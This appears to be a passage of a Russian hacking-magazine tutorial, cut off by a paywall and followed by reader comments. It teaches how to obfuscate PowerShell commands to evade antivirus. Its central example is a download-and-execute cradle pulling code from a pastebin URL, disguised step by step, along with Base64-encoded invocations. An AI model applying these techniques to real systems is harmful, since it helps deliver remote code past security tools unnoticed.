В базах антивирусов содержатся миллионы сигнатур, однако трояны по-прежнему остаются в хакерском арсенале. Даже публичные и всем известные варианты полезных нагрузок Metasploit, разновидностей RAT и стиллеров могут остаться незамеченными. Как? Благодаря обфускации! Даже скрипт на PowerShell можно спрятать от любопытных глаз антивируса.

Посмотри на эту строку. Что ты здесь видишь?

;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "

Полагаю — ничего. А ведь это всего лишь команда netstat /ano после обфускации. В этой статье мы постараемся разобраться, как привести команды на PowerShell к такому виду, и проверим, как на это среагируют антивирусы.

WARNING

Распространение вредоносного ПО преследуется по закону. Все рассмотренные методы представлены в ознакомительных целях.

 

PowerShell в хакинге

Начнем с разговора о самом PowerShell. Почему именно он часто используется при взломе? Ну, как минимум потому, что PowerShell — это командная оболочка и несложный скриптовый язык, который используется во всех современных системах Windows. К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта. Если на компьютере включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют хорошие инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других скриптов и файлов .bat, .doc, .xls, .ppt, .hta, .exe, .dll.

С помощью PowerShell можно загружать код из интернета (к примеру, с pastebin.com) или файла на ПК и исполнять его. Для этого используется командлет Invoke-Expression. Вот несколько примеров использования.

Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Также можно использовать кодировку Base64. Для начала следует закодировать команды в Base64.

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))

Перед исполнением нужно будет декодировать их с помощью -EncodeCommand.

powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==

Есть куча других трюков с PowerShell. Для знакомства с основами и выбора инструментария рекомендую прочитать статью Алексея Панкратова «Выбираем среду разработки на PowerShell и пишем скрипты для Windows».

 

Обфускация PowerShell. Прятки с антивирусом

Процесс обфускации PowerShell не такой уж и сложный, так как это скриптовый язык и мы работаем со строками, а не с исполняемым двоичным кодом. Пройдемся по некоторым методам обфускации. Будем рассматривать все на примере этой команды:

Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

INFO

Обфускация — один из популярных методов обхода сигнатурного анализа.

Для начала попробуем убрать System из строки System.Net.WebClient. На выполнение команды это не повлияет, так как в функциях .NET писать System необязательно.

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Посмотрим, что можно сделать еще. URL в нашей команде — это строка. Что можно делать со строками? Правильно — разделять и властвовать соединять, а вернее, конкатенировать. Попробуем это использовать.

Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Команда отрабатывает точно так же. Теперь попробуем часть команды объявить в виде переменной.

$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Все отлично обфусцируется и работает. Идем дальше. Кручу-верчу, запутать хочу! DownloadString, наверное, используется хакерами уже сто лет. Запрячем его и New-Object среди и `.

$get = New-Object "`N`et.`W`ebc`l`i`ent"; 
Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Неплохо замаскировали. Почти непонятно, что это на самом деле.

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


10 комментариев

  1. rutkit

    06.11.2018 at 13:40

    привет из Казахстана!

  2. ivan_topoleff

    06.11.2018 at 17:48

    Спасибо за прочтение статьи. Ставьте лайки и подписывайтесь на журнал Хакер:D Оставляйте комментарии, что нашли незамысловатое послание c:
    Ge@P00
    Gep@@
    G@@ 0P00

  3. xak05

    07.11.2018 at 07:50

    что за
    первая статья

  4. G-stream

    07.11.2018 at 12:21

    Так, ну логику скрипта эта обфускация никак не меняет. Что мешает антивирусам привести, скажем так, скрипт к «каноническому» виду и допереть что это наш добровред?

    Обфускация — отличная штука, услоднающая модификацию и прочтение кода пользователем (в случае интерпретируемых яп), а для пряток с антивирусом надо просто писать весь код самим, благо на powershell это не так сложно.

    Был удивлён что это работает.
    В любом случае спасибо за статью.

    • Айгуль C.

      07.11.2018 at 19:15

      Спасибо за отзыв. Что вы имеете в виду под приводом к «каноническому» виду? При совмещении этих способов антивирусам очень трудно понять начальный вид скрипта(если вы это имеете в виду). Данная обфускация поможет при скантайме, и мы видим, что антивирусы пока не все методы могут распознать. К примеру, как вы говорите, если писать код самому, то со временем он тоже будет внесен в базы и там уже поможет обфускация. А для обхода проактивной (поведенческой) защиты тут тоже приведено пару трюков.
      Метод подойдет в случае если лень писать скрипт и хочется взять готовую полезную нагрузку, к примеру. Но писать код самому, это, конечно, идеальный вариант для пентеста.

  5. owls

    07.11.2018 at 13:54

    Здравствуйте, хотел задать один вопрос:
    Вас интересуют только системы Windows и их тонкости, или
    системы Linux и его чистое ядро вас тоже интересует?

    Спасибо за внимание.

  6. surfer015

    09.11.2018 at 15:13

    Айгуль. У Вас легкий стиль написания текста, удобное восприятие. Спасибо за статью. Ждём новых!

Оставить мнение

Check Also

Путешествие по даркнету. Что интересного можно найти в анонимной сети I2P

I2P, или Invisible Internet Project, — это на сегодняшний день самая анонимная сеть. Здесь…